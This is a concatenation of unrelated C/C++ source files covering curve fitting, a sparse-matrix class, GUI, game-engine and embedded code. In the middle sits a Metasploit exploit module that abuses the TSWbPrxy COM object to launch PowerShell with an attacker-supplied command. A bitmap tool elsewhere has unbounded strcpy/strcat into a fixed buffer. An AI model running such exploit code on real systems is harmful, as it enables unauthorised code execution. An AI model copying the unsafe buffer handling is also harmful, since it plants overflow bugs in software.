constraints; std::vector edges; constraints.push_back(std::move(constraint0)); constraints.push_back(std::move(constraint)); Eigen::MatrixX2d d = trueCurve.uniformSample(20, 20); test_fit("dome multi curve constraint", d, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges, 0.1, constraints); } { CombinedCurve trueCurve; trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() <<0.1, 0.1, 0.9, 0.1).finished())); trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() << 0.9, 0.1, 0.9, 0.5).finished())); Eigen::Matrix controlPoints; controlPoints << 0.9, 0.5, 0.9, 0.9, 0.1, 0.9, 0.1, 0.5; trueCurve.addCurve(std::make_unique(controlPoints)); trueCurve.addCurve(std::make_unique((Eigen::Matrix2d() <<0.1, 0.5, 0.1, 0.1).finished())); Eigen::MatrixX2d constraint = trueCurve.getCurve(2).uniformSample(10, 10);//.block(2, 0, 6, 2); std::vector constraints; std::vector edges; edges.emplace_back((Eigen::Matrix2d() << 0.9, 0.1, 0.9, 0.5).finished(), 0.1); constraints.push_back(std::move(constraint)); Eigen::MatrixX2d d = trueCurve.uniformSample(20, 20); test_fit("dome curve line and curve constraint", d, default_bezier_cost, default_line_cost, -1, 0, -1, ksize, edges, 0.1, constraints); } /*{ int N = 20; Eigen::MatrixX2d d(N, 2); for (int i = 0; i < N; i++) { double t = static_cast(i) / N; d.row(i) = Eigen::RowVector2d(0.25 * std::sin(t * M_PI * 2) + 0.5, 0.25 * std::cos(t * M_PI * 2) + 0.5); } for (int j=0; j edges; edges.push_back((Eigen::Matrix2d() << 0.3, 0, 0.3, 1).finished()); edges.push_back((Eigen::Matrix2d() << 0.7, 0, 0.7, 1).finished()); test_fit("constrained circle circle " + std::to_string(j), d2, 0.0001, 0.0001, -1, 0, -1, edges, 0.2); } }*/ return 0; }#include #include #include std::shared_ptr FdLoader::make(const std::string& uri) { if ("-" == uri) return std::make_shared(STDIN_FILENO); return nullptr; } void FdLoader::load() { throw std::runtime_error("TODO"); } void FdLoader::free() { throw std::runtime_error("TODO"); } const u8* FdLoader::data() { throw std::runtime_error("TODO"); } const u8* FdLoader::dataChunk(size_t offset __unused, size_t size __unused) { throw std::runtime_error("TODO"); } ///////////////////////////////////////////////////////////////////////// /// \file main.c /// \brief This is the main program code. /// /// \author ///////////////////////////////////////////////////////////////////////// #include "universal.h" #include "terminal.h" #include "imu.h" int main(void) { Terminal_Init(); // initialize motor drivers // initialize interrupts for encoders // initialize interrupt for imu initialize_imu(); while (1) { // Everything from here down should be non-blocking Terminal_Process(); // Do Stuff! } } 0 #include #include #include #include #include #include #include #include #include #include tbsla::cpp::MatrixSCOO::MatrixSCOO(int n_row, int n_col, std::vector & values, std::vector & row, std::vector & col) { this->n_row = n_row; this->n_col = n_col; this->values = values; this->row = row; this->col = col; this->ln_row = n_row; this->ln_col = n_col; this->f_row = 0; this->f_col = 0; this->pr = 0; this->pc = 0; this->NR = 1; this->NC = 1; } tbsla::cpp::MatrixSCOO::MatrixSCOO(int n_row, int n_col, int n_values) { this->n_row = n_row; this->n_col = n_col; this->f_row = 0; this->f_col = 0; this->pr = 0; this->pc = 0; this->NR = 1; this->NC = 1; this->values.reserve(n_values); this->row.reserve(n_values); this->col.reserve(n_values); } tbsla::cpp::MatrixSCOO::MatrixSCOO(int n_row, int n_col) { this->n_row = n_row; this->n_col = n_col; this->f_row = 0; this->f_col = 0; this->pr = 0; this->pc = 0; this->NR = 1; this->NC = 1; } tbsla::cpp::MatrixSCOO::MatrixSCOO(const tbsla::cpp::MatrixCOO & m) { this->n_row = m.get_n_row(); this->n_col = m.get_n_col(); this->ln_row = m.get_n_row(); this->ln_col = m.get_n_col(); this->f_row = m.get_f_row(); this->f_col = m.get_f_col(); this->pr = m.get_pr(); this->pc = m.get_pc(); this->NR = m.get_NR(); this->NC = m.get_NC(); this->nnz = m.get_nnz(); this->row = std::vector(m.get_row()); this->col = std::vector(m.get_col()); this->values = std::vector(m.get_values()); } std::ostream& tbsla::cpp::MatrixSCOO::print_as_dense(std::ostream& os) { std::vector d(this->n_row * this->n_col, 0); for(int i = 0; i < this->row.size(); i++) { d[row[i] * this->n_col + col[i]] += this->values[i]; } tbsla::utils::vector::print_dense_matrix(this->n_row, this->n_col, d, os); return os; } std::ostream& tbsla::cpp::MatrixSCOO::print(std::ostream& os) const { os << "-----------------" << std::endl; os << "----- SCOO ------" << std::endl; os << "-----------------" << std::endl; os << "number of rows - n_row : " << this->n_row << std::endl; os << "number of columns - n_col : " << this->n_col << std::endl; os << "local number of rows - ln_row : " << this->ln_row << std::endl; os << "local number of columns - ln_col : " << this->ln_col << std::endl; os << "first row - f_row : " << this->f_row << std::endl; os << "first column - f_col : " << this->f_col << std::endl; os << "number of non-zero elts - nnz : " << this->nnz << std::endl; os << "block position (row) - pr : " << this->pr << std::endl; os << "block position (column) - pc : " << this->pc << std::endl; os << "number of blocks (row) - NR : " << this->NR << std::endl; os << "number of blocks (column) - NC : " << this->NC << std::endl; tbsla::utils::vector::streamvector(os, "val", this->values); os << std::endl; tbsla::utils::vector::streamvector(os, "row", this->row); os << std::endl; tbsla::utils::vector::streamvector(os, "col", this->col); os << std::endl; os << "-----------------" << std::endl << std::flush; return os; } std::ostream & tbsla::cpp::operator<<( std::ostream &os, const tbsla::cpp::MatrixSCOO &m) { return m.print(os); } std::vector tbsla::cpp::MatrixSCOO::spmv(const std::vector &v, int vect_incr) const { std::vector r (this->n_row, 0); this->Ax(r, v, vect_incr); return r; } inline void tbsla::cpp::MatrixSCOO::Ax(std::vector &r, const std::vector &v, int vect_incr) const { // https://stackoverflow.com/questions/43168661/openmp-and-reduction-on-stdvector #pragma omp declare reduction(vec_double_plus : std::vector : \ std::transform(omp_out.begin(), omp_out.end(), omp_in.begin(), omp_out.begin(), std::plus())) \ initializer(omp_priv = decltype(omp_orig)(omp_orig.size())) #pragma omp parallel for reduction(vec_double_plus: r) for (int i = 0; i < this->values.size(); i++) { r[this->row[i] + vect_incr - this->f_row] += this->values[i] * v[this->col[i] - this->f_col]; } } void tbsla::cpp::MatrixSCOO::push_back(int r, int c, double v) { if(r >= this->n_row || r < 0) return; if(c >= this->n_col || c < 0) return; this->values.push_back(v); this->row.push_back(r); this->col.push_back(c); } std::ostream & tbsla::cpp::MatrixSCOO::print_infos(std::ostream &os) { os << "-----------------" << std::endl; os << "----- SCOO ------" << std::endl; os << "--- general ---" << std::endl; os << "n_row : " << n_row << std::endl; os << "n_col : " << n_col << std::endl; os << "--- capacity ---" << std::endl; os << "values : " << values.capacity() << std::endl; os << "row : " << row.capacity() << std::endl; os << "col : " << col.capacity() << std::endl; os << "--- size ---" << std::endl; os << "values : " << values.size() << std::endl; os << "row : " << row.size() << std::endl; os << "col : " << col.size() << std::endl; os << "-----------------" << std::endl; return os; } std::ostream & tbsla::cpp::MatrixSCOO::print_stats(std::ostream &os) { int s = 0, u = 0, d = 0; if(row.size() != col.size()) { std::cerr << "Err \n"; return os; } for(int i = 0; i < row.size(); i++) { if(row[i] < col[i]) { s++; } else if(row[i] > col[i]) { u++; } else { d++; } } os << "upper values : " << u << std::endl; os << "lower values : " << s << std::endl; os << "diag values : " << d << std::endl; return os; } std::ostream & tbsla::cpp::MatrixSCOO::write(std::ostream &os) { os.write(reinterpret_cast(&this->n_row), sizeof(this->n_row)); os.write(reinterpret_cast(&this->n_col), sizeof(this->n_col)); os.write(reinterpret_cast(&this->ln_row), sizeof(this->ln_row)); os.write(reinterpret_cast(&this->ln_col), sizeof(this->ln_col)); os.write(reinterpret_cast(&this->f_row), sizeof(this->f_row)); os.write(reinterpret_cast(&this->f_col), sizeof(this->f_col)); os.write(reinterpret_cast(&this->nnz), sizeof(this->nnz)); os.write(reinterpret_cast(&this->pr), sizeof(this->pr)); os.write(reinterpret_cast(&this->pc), sizeof(this->pc)); os.write(reinterpret_cast(&this->NR), sizeof(this->NR)); os.write(reinterpret_cast(&this->NC), sizeof(this->NC)); size_t size_v = this->values.size(); os.write(reinterpret_cast(&size_v), sizeof(size_v)); os.write(reinterpret_cast(this->values.data()), this->values.size() * sizeof(double)); size_t size_r = this->row.size(); os.write(reinterpret_cast(&size_r), sizeof(size_r)); os.write(reinterpret_cast(this->row.data()), this->row.size() * sizeof(int)); size_t size_c = this->col.size(); os.write(reinterpret_cast(&size_c), sizeof(size_c)); os.write(reinterpret_cast(this->col.data()), this->col.size() * sizeof(int)); return os; } std::istream & tbsla::cpp::MatrixSCOO::read(std::istream &is, std::size_t pos, std::size_t n) { is.read(reinterpret_cast(&this->n_row), sizeof(this->n_row)); is.read(reinterpret_cast(&this->n_col), sizeof(this->n_col)); is.read(reinterpret_cast(&this->ln_row), sizeof(this->ln_row)); is.read(reinterpret_cast(&this->ln_col), sizeof(this->ln_col)); is.read(reinterpret_cast(&this->f_row), sizeof(this->f_row)); is.read(reinterpret_cast(&this->f_col), sizeof(this->f_col)); is.read(reinterpret_cast(&this->nnz), sizeof(this->nnz)); is.read(reinterpret_cast(&this->pr), sizeof(this->pr)); is.read(reinterpret_cast(&this->pc), sizeof(this->pc)); is.read(reinterpret_cast(&this->NR), sizeof(this->NR)); is.read(reinterpret_cast(&this->NC), sizeof(this->NC)); size_t size; is.read(reinterpret_cast(&size), sizeof(size_t)); this->values.resize(size); is.read(reinterpret_cast(this->values.data()), size * sizeof(double)); is.read(reinterpret_cast(&size), sizeof(size_t)); this->row.resize(size); is.read(reinterpret_cast(this->row.data()), size * sizeof(int)); is.read(reinterpret_cast(&size), sizeof(size_t)); this->col.resize(size); is.read(reinterpret_cast(this->col.data()), size * sizeof(int)); return is; } void tbsla::cpp::MatrixSCOO::fill_cdiag(int n_row, int n_col, int cdiag, int pr, int pc, int NR, int NC) { this->n_row = n_row; this->n_col = n_col; this->pr = pr; this->pc = pc; this->NR = NR; this->NC = NC; this->values.clear(); this->col.clear(); this->row.clear(); this->ln_row = tbsla::utils::range::lnv(n_row, pr, NR); this->f_row = tbsla::utils::range::pflv(n_row, pr, NR); this->ln_col = tbsla::utils::range::lnv(n_col, pc, NC); this->f_col = tbsla::utils::range::pflv(n_col, pc, NC); long int nv = 0; for(long int i = f_row; i < f_row + ln_row; i++) { long int ii, jj; jj = i - cdiag; ii = i; if(ii >= f_row && ii < f_row + ln_row && jj >= f_col && jj < f_col + ln_col) { nv++; } if(cdiag != 0) { jj = i + cdiag; ii = i; if(ii >= f_row && ii < f_row + ln_row && jj >= f_col && jj < f_col + ln_col) { nv++; } } } if(nv == 0) return; this->values.reserve(nv); this->col.reserve(nv); this->row.reserve(nv); for(long int i = f_row; i < f_row + ln_row; i++) { long int ii, jj; jj = i - cdiag; ii = i; if(ii >= f_row && ii < f_row + ln_row && jj >= f_col && jj < f_col + ln_col) { this->push_back(ii, jj, 1); } if(cdiag != 0) { jj = i + cdiag; ii = i; if(ii >= f_row && ii < f_row + ln_row && jj >= f_col && jj < f_col + ln_col) { this->push_back(ii, jj, 1); } } } } void tbsla::cpp::MatrixSCOO::fill_cqmat(int n_row, int n_col, int c, double q, unsigned int seed_mult, int pr, int pc, int NR, int NC) { this->n_row = n_row; this->n_col = n_col; this->pr = pr; this->pc = pc; this->NR = NR; this->NC = NC; this->values.clear(); this->col.clear(); this->row.clear(); this->ln_row = tbsla::utils::range::lnv(n_row, pr, NR); this->f_row = tbsla::utils::range::pflv(n_row, pr, NR); this->ln_col = tbsla::utils::range::lnv(n_col, pc, NC); this->f_col = tbsla::utils::range::pflv(n_col, pc, NC); int min_ = std::min(n_col - std::min(c, n_col) + 1, n_row); long int incr = 0, nv = 0; for(long int i = 0; i < min_; i++) { if(i < f_row) { incr += std::min(c, n_col); } if(i >= f_row && i < f_row + ln_row) { nv += std::min(c, n_col); } if(i >= f_row + ln_row) { break; } } for(long int i = 0; i < std::min(n_row, n_col) - min_; i++) { if(i + min_ < f_row) { incr += std::min(c, n_col) - i - 1; } if(i + min_ >= f_row && i + min_ < f_row + ln_row) { nv += std::min(c, n_col) - i - 1; } if(i + min_ >= f_row + ln_row) { break; } } this->nnz = 0; long int incr_save = incr; long int i; for(i = f_row; i < std::min({n_row, n_col, f_row + ln_row}); i++) { long int j = 0; for(; j < std::min(c, n_col); j++) { auto tuple = tbsla::utils::values_generation::cqmat_value(incr, n_row, n_col, c, q, seed_mult); long int ii, jj; ii = std::get<0>(tuple); jj = std::get<1>(tuple); if(ii >= f_row && ii < f_row + ln_row && jj >= f_col && jj < f_col + ln_col) { this->nnz++; } incr++; } } incr = incr_save; if(nv == 0) return; this->values.reserve(this->nnz); this->col.reserve(this->nnz); this->row.reserve(this->nnz); for(i = f_row; i < std::min(min_, f_row + ln_row); i++) { for(long int j = 0; j < std::min(c, n_col); j++) { auto tuple = tbsla::utils::values_generation::cqmat_value(incr, n_row, n_col, c, q, seed_mult); long int ii, jj; double v; ii = std::get<0>(tuple); jj = std::get<1>(tuple); v = std::get<2>(tuple); if(ii >= f_row && ii < f_row + ln_row && jj >= f_col && jj < f_col + ln_col) { this->push_back(ii, jj, v); } incr++; } } for(; i < std::min({n_row, n_col, f_row + ln_row}); i++) { for(long int j = 0; j < std::min(c, n_col) - i + min_ - 1; j++) { auto tuple = tbsla::utils::values_generation::cqmat_value(incr, n_row, n_col, c, q, seed_mult); long int ii, jj; double v; ii = std::get<0>(tuple); jj = std::get<1>(tuple); v = std::get<2>(tuple); if(ii >= f_row && ii < f_row + ln_row && jj >= f_col && jj < f_col + ln_col) { this->push_back(ii, jj, v); } incr++; } } this->values.shrink_to_fit(); this->col.shrink_to_fit(); this->row.shrink_to_fit(); } void tbsla::cpp::MatrixSCOO::fill_cqmat_stochastic(int n_row, int n_col, int c, double q, unsigned int seed_mult, int pr, int pc, int NR, int NC) { this->fill_cqmat(n_row, n_col, c, q, seed_mult, pr, pc, NR, NC); std::vector sum = tbsla::utils::values_generation::cqmat_sum_columns(n_row, n_col, c, q, seed_mult); for(long int i = 0; i < this->values.size(); i++) { this->values[i] /= sum[this->col[i]]; } } void tbsla::cpp::MatrixSCOO::normalize_columns() { std::vector sum(this->ln_col, 0); for(long int i = 0; i < this->values.size(); i++) { sum[this->col[i] - this->f_col] += this->values[i]; } for(long int i = 0; i < this->values.size(); i++) { this->values[i] /= sum[this->col[i] - this->f_col]; } } /* Trixul Cross-Platform GUI Toolkit Copyright (c) 2006, All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name trixul nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "menuitemclicksubject.h" void MenuItemClickSubject::NotifyMenuItemClick() { list::iterator i = m_observers.begin(); MenuItemClickObserver *pObserver; while(m_observers.size() && i != m_observers.end()) { pObserver = *i; pObserver->MenuItemClicked(); i++; } } void MenuItemClickSubject::Attach(MenuItemClickObserver *o) { m_observers.push_back(o); } void MenuItemClickSubject::Detach(MenuItemClickObserver *o) { m_observers.remove(o); } OsmanDere/metasploit-framework #include #include "Exploit.h" #import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace static const size_t MaxEnv = 32767; static PCHAR GetEnv(LPCSTR env) { char *buf = (char *)malloc(MaxEnv); if (buf == NULL) { return NULL; } GetEnvironmentVariable(env, buf, MaxEnv); return buf; } static VOID DoTSWbPrxyExploit() { HRESULT hr; IMSTSWebProxy *pUnk; CHAR cmdline[] = "TSWbPrxy.exe"; STARTUPINFO startInfo = { 0 }; PROCESS_INFORMATION procInfo = { 0 }; PCHAR fullPath = NULL; PCHAR powershell = NULL; PCHAR pshCmd = NULL; fullPath = GetEnv("windir"); if (fullPath == NULL) { goto freeFullPath; } strcat_s(fullPath, MaxEnv, "\\System32\\TSWbPrxy.exe"); powershell = GetEnv("windir"); if (powershell == NULL) { goto freePowershell; } strcat_s(powershell, MaxEnv, "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"); pshCmd = GetEnv("PSHCMD"); if (pshCmd == NULL) { goto freePowershell; } hr = CreateProcess(fullPath, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo); if (hr == 0) goto freePshCmd; hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk); if (hr != 0) goto freePshCmd; pUnk->StartRemoteDesktop(powershell, pshCmd); pUnk->Release(); freePshCmd: free(pshCmd); pshCmd = NULL; freePowershell: free(powershell); powershell = NULL; freeFullPath: free(fullPath); fullPath = NULL; return; } VOID DoExploit() { CoInitialize(NULL); DoTSWbPrxyExploit(); CoUninitialize(); }SkyDriver2500/square-codesrc/main.cpp #include #include #include #include "bitmap.hpp" #include "sourceparser.hpp" using namespace std; void printUsage(char **args) { cout << "Usage:" << endl; cout << args[0] << " file dest.bmp" << endl; } int main(int argc, char **argv) { if(argc != 3) { printUsage(argv); exit(EXIT_FAILURE); } Bitmap bitmap; SourceFile sfile(argv[1]); char* path; path = (char*) malloc (1024); strcpy(path, getenv("HOME")); strcat(path, "/Pictures/"); strcat(path, argv[2]); if(sfile.readfile()) { cout << "[ + ] File read successfully." << endl; } else { cout << "[ - ] Couldn't read file." << endl; exit(2); } if(bitmap.createbmp(path, sfile.getcontent())) { cout << "[ + ] Bitmap created. Saving under " << path << endl; } else { cout << "[ - ] Failed to create bitmap." << endl; } return 0; } EntitiesMP/HazeMarker.cpp /* * This file is generated by Entity Class Compiler, (c) CroTeam 1997-98 */ #line 2 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" #include "StdH.h" ENGINE_API extern FLOAT ter_fLODMul; #include #include void CHazeMarker::SetDefaultProperties(void) { m_faType = FA_EXP ; m_fDensity = 0.1f; m_fNear = 100.0f; m_fFar = 1000.0f; m_bVisibleFromOutside = FALSE ; m_iSize = 32; m_colBase = (C_WHITE | CT_OPAQUE ); m_colUp = (C_BLACK | CT_TRANSPARENT ); m_colDown = (C_BLACK | CT_TRANSPARENT ); m_colNorth = (C_BLACK | CT_TRANSPARENT ); m_colSouth = (C_BLACK | CT_TRANSPARENT ); m_colEast = (C_BLACK | CT_TRANSPARENT ); m_colWest = (C_BLACK | CT_TRANSPARENT ); CMarker::SetDefaultProperties(); } #line 39 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" const CTString & CHazeMarker::GetHazeName(void) #line 40 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" { #line 41 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" return m_strName ; #line 42 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } #line 45 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" void CHazeMarker::GetHaze(class CHazeParameters & hpHaze,FLOAT3D & vViewDir) #line 46 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" { #line 48 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" COLOR colDir = C_BLACK , colMul ; #line 49 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" FLOAT fR = 0.0f , fG = 0.0f , fB = 0.0f , fA = 0.0f; #line 50 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" FLOAT fSum = 255.0f / (Abs (vViewDir (1)) + Abs (vViewDir (2)) + Abs (vViewDir (3))); #line 52 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" if(vViewDir (1) < 0.0f){ #line 53 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (COLOR) (- vViewDir (1) * fSum ); #line 54 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (colMul << CT_RSHIFT ) | (colMul << CT_GSHIFT ) | (colMul << CT_BSHIFT ) | (colMul << CT_ASHIFT ); #line 55 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colDir = AddColors (colDir , MulColors (m_colWest , colMul )); #line 56 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } #line 57 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" if(vViewDir (1) > 0.0f){ #line 58 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (COLOR) (+ vViewDir (1) * fSum ); #line 59 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (colMul << CT_RSHIFT ) | (colMul << CT_GSHIFT ) | (colMul << CT_BSHIFT ) | (colMul << CT_ASHIFT ); #line 60 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colDir = AddColors (colDir , MulColors (m_colEast , colMul )); #line 61 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } #line 62 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" if(vViewDir (2) < 0.0f){ #line 63 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (COLOR) (- vViewDir (2) * fSum ); #line 64 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (colMul << CT_RSHIFT ) | (colMul << CT_GSHIFT ) | (colMul << CT_BSHIFT ) | (colMul << CT_ASHIFT ); #line 65 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colDir = AddColors (colDir , MulColors (m_colDown , colMul )); #line 66 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } #line 67 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" if(vViewDir (2) > 0.0f){ #line 68 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (COLOR) (+ vViewDir (2) * fSum ); #line 69 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (colMul << CT_RSHIFT ) | (colMul << CT_GSHIFT ) | (colMul << CT_BSHIFT ) | (colMul << CT_ASHIFT ); #line 70 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colDir = AddColors (colDir , MulColors (m_colUp , colMul )); #line 71 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } #line 72 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" if(vViewDir (3) < 0.0f){ #line 73 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (COLOR) (- vViewDir (3) * fSum ); #line 74 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (colMul << CT_RSHIFT ) | (colMul << CT_GSHIFT ) | (colMul << CT_BSHIFT ) | (colMul << CT_ASHIFT ); #line 75 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colDir = AddColors (colDir , MulColors (m_colNorth , colMul )); #line 76 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } #line 77 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" if(vViewDir (3) > 0.0f){ #line 78 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (COLOR) (+ vViewDir (3) * fSum ); #line 79 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colMul = (colMul << CT_RSHIFT ) | (colMul << CT_GSHIFT ) | (colMul << CT_BSHIFT ) | (colMul << CT_ASHIFT ); #line 80 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colDir = AddColors (colDir , MulColors (m_colSouth , colMul )); #line 81 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } #line 84 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" colDir = AddColors (colDir , m_colBase ); #line 87 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" hpHaze . hp_colColor = colDir ; #line 88 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" hpHaze . hp_atType = (AttenuationType ) m_faType ; #line 89 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" hpHaze . hp_fDensity = m_fDensity ; #line 90 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" hpHaze . hp_fNear = m_fNear * ter_fLODMul ; #line 91 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" hpHaze . hp_fFar = m_fFar * ter_fLODMul ; #line 92 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" hpHaze . hp_iSize = m_iSize ; #line 93 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" hpHaze . hp_ulFlags = 0; #line 94 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" if(m_bVisibleFromOutside ){ #line 95 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" hpHaze . hp_ulFlags |= HPF_VISIBLEFROMOUTSIDE ; #line 96 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } #line 97 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } BOOL CHazeMarker:: #line 101 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" Main(const CEntityEvent &__eeInput) { #undef STATE_CURRENT #define STATE_CURRENT STATE_CHazeMarker_Main ASSERTMSG(__eeInput.ee_slEvent==EVENTCODE_EVoid, "CHazeMarker::Main expects 'EVoid' as input!"); const EVoid &e = (const EVoid &)__eeInput; #line 103 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" InitAsEditorModel (); #line 104 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" SetPhysicsFlags (EPF_MODEL_IMMATERIAL ); #line 105 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" SetCollisionFlags (ECF_IMMATERIAL ); #line 108 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" SetModel (MODEL_MARKER ); #line 109 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" SetModelMainTexture (TEXTURE_MARKER ); #line 112 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" if(m_strName == "Marker"){ #line 113 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" m_strName = "Haze marker"; #line 114 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" } #line 117 "C:/Users/pwesty/Desktop/SD-Source/nov-source/Reco_Csrc/EntitiesMP/HazeMarker.es" m_fDensity = ClampDn 